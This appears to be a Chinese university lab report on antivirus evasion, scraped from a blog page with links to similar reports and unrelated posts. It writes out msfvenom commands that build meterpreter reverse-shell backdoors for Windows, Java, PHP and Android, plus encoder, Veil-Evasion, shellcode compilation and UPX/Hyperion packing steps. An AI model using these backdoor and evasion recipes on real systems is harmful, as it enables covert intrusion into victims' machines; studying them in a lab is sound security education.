2018-2019-2 网络对抗技术 20165321 Exp3 免杀原理与实践
1. 实践内容(4分)
1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
正确使用msf编码器
- 用
msfvenom -l encoders
命令可以查看能使用的可以生成不同后门的许多编码器。 将实验二中用msf命令生成的后门程序放到virscan网站中扫描结果如下:
因此,后门程序如若不加以处理、掩饰,分分钟会被杀毒软件查出来。msfvenom生成如jar之类的其他文件
我用
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.70.141 LPORT=5321 -f exe > exp3_test.exe
指令对后门程序进行10次编码,再上传到virscan上扫描,发现并没有什么变化。原因是msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。而AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。msfvenom生成如jar之类的其他文件
- 用
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.70.141 lport=5321 x> exp3_jar_backdoor.jar
指令生成jar文件
- 用
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.70.141 lport=5321 x> exp3_php_backdoor.php
指令生成php文件
用
msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.70.141 lport=5321 R> exp3_apk_backdoor.apk
指令生成apk文件
veil-evasion
由于在github上下载veil-evasion速度太慢,我在CSDN上找到了资源,下载好后,拷贝进虚拟机解压安装。
cd Veil-Evasion-master
进入Veil-Evasion-master目录,bash setup/setup.sh -s
启动安装。
安装好后,./Veil-Evasion.py
进入Veil。
在Veil中输入use
找到c/meterpreter/rev_tcp
(第6条),输入6
用c语言重写meterperter。设置反弹连接IP:set LHOST 192.168.70.142
。设置端口:set LPORT 5321
。
输入generate
生成文件,然后输入playload
的名字:20165321_payload
。
上传到virscan网站上查一下,
发现还是有能被查杀到。半手工注入Shellcode并执行
首先使用命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.70.141 LPORT=5321 -f c
用c语言生成一段shellcode
创建一个文件20165321.c
,然后将unsigned char buf[]
赋值到其中,代码如下:
使用命令i686-w64-mingw32-g++ 20165321.c -o 5321.exe
编译这个.c文件为可执行文件,然后把该文件上传到virscan上查一下,结果还是能查出来。
加壳
加压缩壳
使用
upx 5321.exe -o 5321upx.exe
加压缩壳
结果还是被查出来了。
加加密壳
将
5321upx.exe
拷贝到/usr/share/windows-binaries/hyperion/
下,并且进入到这个文件目录,使用终端输入命令wine hyperion.exe -v 5321upx.exe 5321upx_hyperion.exe
进行加加密壳
结果然并卵
1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)
- 对半手工制作shellcode加压缩壳不能达到免杀的目的,加密壳有一定的几率是可以达到了免杀的目的。
- 加密壳的免杀和反弹连接:
2.基础问题回答
(1)杀软是如何检测出恶意代码的?
答:
1、根据特征码:病毒中的一/多段代码;特征码库就是黑名单。
2、启发式:如果一只鸟叫得像鸭子,走得像鸭子,长得像鸭子,那它就是一只鸭子。
3、根据行为:在启发式基础上对软件行为进行监控
(2)免杀是做什么?
免杀即“反杀毒技术”,让安插的后门不被AV软件发现。通过改变代码的特征,让杀毒软件成为摆设,防止被杀软查杀的一种技术。
(3)免杀的基本方法有哪些?
修改方法:
- 直接修改特征码的十六进制法
- 修改字符串大小写法
- 等价替换法
- 指令顺序调换法
- 通用跳转法
一键加壳法
3.实践总结与体会
本次实验,让我体会到杀毒软件的不足之处,与病毒的特征之一的隐蔽性。想必我们的电脑里面应该会存在一些隐藏起来的病毒,而我们并不知道。以后我要加强对自己电脑的防范。
4.开启杀软能绝对防止电脑中恶意代码吗?
不能。
2018-2019-2 网络对抗技术 20165321 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
随机推荐
- RC terms.
ETA: estimated time of arrival DEA: 1-Leg: 2-Leg: FCC: L10N: LocalizatioN i18N: InternationalizatioN ...
- Scrapy Selectors 选择器
0. 1.参考 <用Python写网络爬虫>——2.2 三种网页抓取方法 re / lxml / BeautifulSoup 需要注意的是,lxml在内部实现中,实际上是将CSS选择器转 ...
- Javascript 精简语法介绍
1. 取整同时转成数值型: '10.567890'|0 结果: 10 '10.567890'^0 结果: 10 -2.23456789|0 结果: -2 ~~-2.23456789 结果: -2 2. ...
- 前端技术之--CSS
在标签上设置style属性: background-color: #2459a2; height: 48px; ... 编写css样式: 1. 标签的style属性 2. 写在head里面 style ...
- 命令行编译C程序
1 准备工作 下载mingw-get-setup.exe并且安装 参考 http://www.jb51.net/softjc/159871.html 环境变量更新: PATH .;C:\MinGW\ ...
- 数组方括号有趣的split方法
今天看到了split的方法感觉好神奇的样子 split是javascript内置方法 就像join方法是连接数组并转换为字符串一样split方法是把数组拆分成多个部分,而且每一个部分都是数组的元素. ...
- CodeForces - 1013B And 与运算暴力
题目链接: https://vjudge.net/problem/1735275/origin 基本思路: 本题思路比较简单,首先,我们知道 a & x = b, b & x = b; ...
- XVIII Open Cup named after E.V. Pankratiev. Ukrainian Grand Prix
A. Accommodation Plan 对于已知的$K$个点,离它们距离都不超过$L$的点在树上是一个连通块,考虑在每种方案对应的离$1$最近的点统计. 即对于每个点$x$,统计离它距离不超过$L ...
- MySQL性能分析及explain的使用(转)
1.使用explain语句去查看分析结果,如 explain select * from test1 where id=1; 会出现: id selecttype table type possibl ...
- Jmeter初步
Jmeter 3. 去掉没有必要的结果记录 对于一些不必要的日志信息可以暂时不要记录. 例如:结果树. 当然可以勾选记录那些失败的日志. 聚合报告中,点击 configure,根据需求设置自己想要保 ...